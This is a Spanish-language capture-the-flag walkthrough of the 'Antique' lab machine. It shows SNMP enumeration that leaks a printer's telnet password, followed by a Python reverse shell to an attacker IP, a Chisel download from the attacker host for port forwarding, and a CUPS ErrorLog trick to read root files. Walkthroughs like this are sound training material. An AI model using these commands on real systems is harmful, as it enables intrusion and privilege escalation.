# Antique

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FrQaaeUAIi7fZYw69KI8H%2FAntique.png?alt=media&#x26;token=9d1bfd8f-677b-4f56-9bd8-d2af28a613da" alt=""><figcaption></figcaption></figure>

## Enumeración

### Enumeración de puertos

Comenzamos la resolución de la máquina "Antique", enumerando que puertos tiene abiertos el sistema objetivo.

```
nmap -p- --open -Pn --min-rate 500 10.10.11.107
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FRrq6eSRv0zRhXdNXlUFU%2FPasted%20image%2020231026225501.png?alt=media&#x26;token=79c73eee-f16f-4f3c-be27-01a68d1081a0" alt=""><figcaption></figcaption></figure>

Un único puerto abierto, 23 telnet. Vamos a hacer la enumeración detallada de este servicio.

```
nmap -p23 -sVC -Pn -n 10.10.11.107 
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fbp2S7AnvvHEIwm8wgLKX%2FPasted%20image%2020231026225915.png?alt=media&#x26;token=0a9ddc78-beed-4ade-b0f8-cdd6f7c20e91" alt=""><figcaption></figcaption></figure>

**VERSIONES**

* Puerto 23 -> telnet -> ?

La enumeración de puertos no nos aporta información que nos permita orientarnos en la resolución de la máquina. Podemos realizar la enumeración de puertos UDP por si nos aportase información relevante.

```
sudo nmap -p- --open -sU -Pn --min-rate 500 10.10.11.107
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FR2HIZccCFyT9bUWsNNJU%2FPasted%20image%2020231026230113.png?alt=media&#x26;token=10876cd4-4ff0-49fd-9601-982baa0f2de1" alt=""><figcaption></figcaption></figure>

El sistema objetivo tiene el puerto 161 UDP abierto. Esto puede ser muy útil.

### Telnet

En la enumeración inicial determinábamos que el puerto 23 TCP estaba abierto en el objetivo. Vamos a comprobar si podemos acceder a información relevante.

```
telnet 10.10.11.107
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F2WHd27402fGvYAiDZDqo%2FPasted%20image%2020231026230320.png?alt=media&#x26;token=f4fbbb58-2ec5-4244-82c2-9edbd0f40bb6" alt=""><figcaption></figcaption></figure>

Parece la conexión de un equipo HP, posiblemente una impresora. Se nos solicita una contraseña de la que no disponemos.

### SNMP

Tras determinar en la enumeración inicial que existe un puerto 161 UDP (servicio snmp), vamos a tratar de utilizarlo para extraer información relevante del sistema. Buscando información relacionada con la información que tenemos, encontramos el siguiente [artículo](https://www.exploit-db.com/exploits/22319). Lo hacemos de la siguiente forma.

```
snmpwalk -v 2c -c public 10.10.11.107 .1.3.6.1.4.1.11.2.3.9.1.1.13.0
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FkxhyjmCodckso1KYaRok%2FPasted%20image%2020231026230746.png?alt=media&#x26;token=4e969c43-30aa-49ca-9366-d34fa4269233" alt=""><figcaption></figcaption></figure>

```
50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 
33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135 
```

El artículo que nombrábamos anteriormente hablaba de una filtración de credenciales en formato hexadecimal. Vamos a tratar de descifrar la cadena hexadecimal que hemos encontrado anteriormente.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FgR4ZAip65i7fwh3NqNdj%2FPasted%20image%2020231026231112.png?alt=media&#x26;token=87f5375a-1f28-420f-bbbd-c4ff936b0cba" alt=""><figcaption></figcaption></figure>

Utilizando la herramienta CyberChef, desciframos la cadena hexadecimal y encontramos la contraseña "P\@ssw0rd\@123!!123". Vamos a utilizar está password en la conexión telnet donde se solicitó la contraseña anteriormente.

## Explotación

Vamos a comprobar si la contraseña que obtuvimos durante la fase de enumeración es válida para el servicio telnet que se está ejecutando en el sistema.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fkr3LymCLNubHCUKapNKa%2FPasted%20image%2020231026231627.png?alt=media&#x26;token=ae672dd3-0eb9-48a1-901c-2a86c84910d2" alt=""><figcaption></figcaption></figure>

Como podemos comprobar, la contraseña es válida. Parece que una de las cosas que podemos hacer es ejecutar comandos desde la terminal de telnet. Vamos a tratar de aprovechar esto para ejecutar una reverse shell hacia nuestra máquina de ataque. Ejecutamos el siguiente comando:

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FC0pDtqGvLJdCaWS1vU6D%2FPasted%20image%2020231026232850.png?alt=media&#x26;token=febb51ff-0c19-47f6-b027-a3b6a302f05f" alt=""><figcaption></figcaption></figure>

```
exec python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.5",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
```

Y por otro lado, configuramos un oyente nc en el puerto 1234.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FUA9kGudTa5S7PNqhX3yy%2FPasted%20image%2020231026232618.png?alt=media&#x26;token=76d36dee-fd02-481e-bcb2-593911bff3d9" alt=""><figcaption></figcaption></figure>

Obtenemos acceso al sistema como usuario "lp". El siguiente paso será buscar la flag de usuario de bajos privilegios.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FloBg7CrqPLK6j41Uq9C8%2FPasted%20image%2020231026232711.png?alt=media&#x26;token=6209a07f-865a-437d-88dd-9ee37b56abd5" alt=""><figcaption></figcaption></figure>

## Elevación de privilegios

Una vez obtenido el acceso al sistema objetivo, el siguiente paso será encontrar posibles vectores que nos permitan obtener privilegios elevados en el sistema. Comenzamos enumerando que puede ejecutar el usuario lp como root sin necesidad de contraseña.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FxmDYIS2WvQcsZZ6decYh%2FPasted%20image%2020231026234017.png?alt=media&#x26;token=5f64eb40-1f84-4e50-895a-c90cbfec6f60" alt=""><figcaption></figcaption></figure>

No disponemos de contraseña para el usuario lp. Otra cosa que podemos enumerar son lo permisos SUID.

```
find / -perm -u=s -type f 2>/dev/null
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FEJUsRfdvOyz7nBW1uHhB%2FPasted%20image%2020231026234601.png?alt=media&#x26;token=c035fef0-bc4a-4499-bd78-b0139db7f7c1" alt=""><figcaption></figcaption></figure>

Ninguno de los binarios con permisos SUID nos va a permitir elevar privilegios. Continuamos enumerando las capabilities.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FUtGq5Y8S6nsshr4usGWu%2FPasted%20image%2020231026234823.png?alt=media&#x26;token=df3692ea-df89-4de5-97de-54b06ffee07b" alt=""><figcaption></figcaption></figure>

Nada interesante. Otra cosa que podemos hacer es enumerar los servicios que se están ejecutando de forma interna en la máquina objetivo.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FVmYJQMMEmWoGEXhFdIgE%2FPasted%20image%2020231026235108.png?alt=media&#x26;token=291923b8-261a-43f6-9cad-a569d7334f3f" alt=""><figcaption></figcaption></figure>

Vemos un puerto interno 631. Veamos que se está ejecutando en este servicio.

```
curl 127.0.0.1:631
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F8HOfhGTO0fuyFBhFlREi%2FPasted%20image%2020231026235415.png?alt=media&#x26;token=b7c4b442-11bf-4e04-84d2-7178ab529fe8" alt=""><figcaption></figcaption></figure>

Encontramos una versión para el servicio que se está ejecutando de forma interna en el objetivo. Este servicio no es accesible desde nuestra máquina de ataque, así que vamos a reenviar este puerto a nuestra máquina utilizando la herramienta Chisel. Instalamos Chisel en nuestra máquina de ataque desde los repositorios y descargamos el agent desde[ Github](https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz). Por un lado, ejecutamos Chisel en nuestra máquina de ataque:

```
sudo chisel server -p 8000 --reverse
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FqFj2qJee6sRzEAb8Csn0%2FPasted%20image%2020231027101427.png?alt=media&#x26;token=234894e8-9339-4522-a86e-8112973ecdc3" alt=""><figcaption></figcaption></figure>

Y por otro enviamos el agent a la máquina víctima utilizando un servidor HTTP Python.

```
Máquina de ataque: python3 -m http.server 8080
Máquina objetivo: wget 10.10.16.5:8080/chisel
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F0zJUGrD1pRUJzOhm1uFW%2FPasted%20image%2020231027101533.png?alt=media&#x26;token=0d90f035-6861-4623-bec4-3e5a7244b66b" alt=""><figcaption></figcaption></figure>

Damos permisos de ejecución:

```
chmod +x chisel
```

Y ejecutamos:

```
./chisel client 10.10.16.5:8000 R:631:127.0.0.1:631
```

Ahora recibiremos la conexión en nuestra máquina de ataque:

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FZTgUmdqAImyMrwFHkx6X%2FPasted%20image%2020231027101641.png?alt=media&#x26;token=b47d6a38-2fde-4beb-bcee-89742cb0499a" alt=""><figcaption></figcaption></figure>

Y podremos conectarnos al servicio interno desde nuestro equipo de ataque.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FHmsMoO5TqHsvfK8kp1qW%2FPasted%20image%2020231027101713.png?alt=media&#x26;token=78cb63d0-cc0d-4119-aeb7-c32638096716" alt=""><figcaption></figcaption></figure>

Lo siguiente que vamos a hacer es buscar vulnerabilidades para la versión que hemos encontrado. Encontramos la siguiente información relevante:

* [https://www.rapid7.com/db/modules/post/multi/escalate/cups\_root\_file\_read/ ](https://www.rapid7.com/db/modules/post/multi/escalate/cups_root_file_read/)
* [https://www.infosecmatter.com/metasploit-module-library/?mm=post/multi/escalate/cups\_root\_file\_read ](https://www.infosecmatter.com/metasploit-module-library/?mm=post/multi/escalate/cups_root_file_read)

Aunque es un script de post-explotación de la herramienta Metasploit, nos permite comprender como funciona la vulnerabilidad para esta versión. Este módulo muestra la localización del log de error. Por otro lado, importante también, los usuarios que pertenecen al grupo lpadmin pueden modificar la ubicación con el comando cupsctl. Comenzamos comprobando a que pertenece el usuario lp.

```
id
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FRe3d44QRb7TYTlfGFE1b%2FPasted%20image%2020231027102719.png?alt=media&#x26;token=2bcca17e-f559-4e68-829d-9b20da8898a5" alt=""><figcaption></figcaption></figure>

Sabiendo esto, vamos a modificar la ruta a la que queremos acceder ejecutando el siguiente comando en la máquina víctima.

```
cupsctl ErrorLog="/root/root.txt"
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FfcHejqRaStArYNR8Qeks%2FPasted%20image%2020231027103655.png?alt=media&#x26;token=c393ebe6-f2af-4354-8e60-6a2c995b486f" alt=""><figcaption></figcaption></figure>

En el navegador de nuestra máquina de ataque y accedemos a la siguiente URL.

```
http://127.0.0.1:631/admin/log/error_log?
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F3Asi8Ynn0ytyKqKnbyIY%2FPasted%20image%2020231027103748.png?alt=media&#x26;token=3f35ee16-4543-4438-9722-dc644449474d" alt=""><figcaption></figcaption></figure>

Encontramos la flag root.txt y finalizamos la resolución de la máquina Antique.
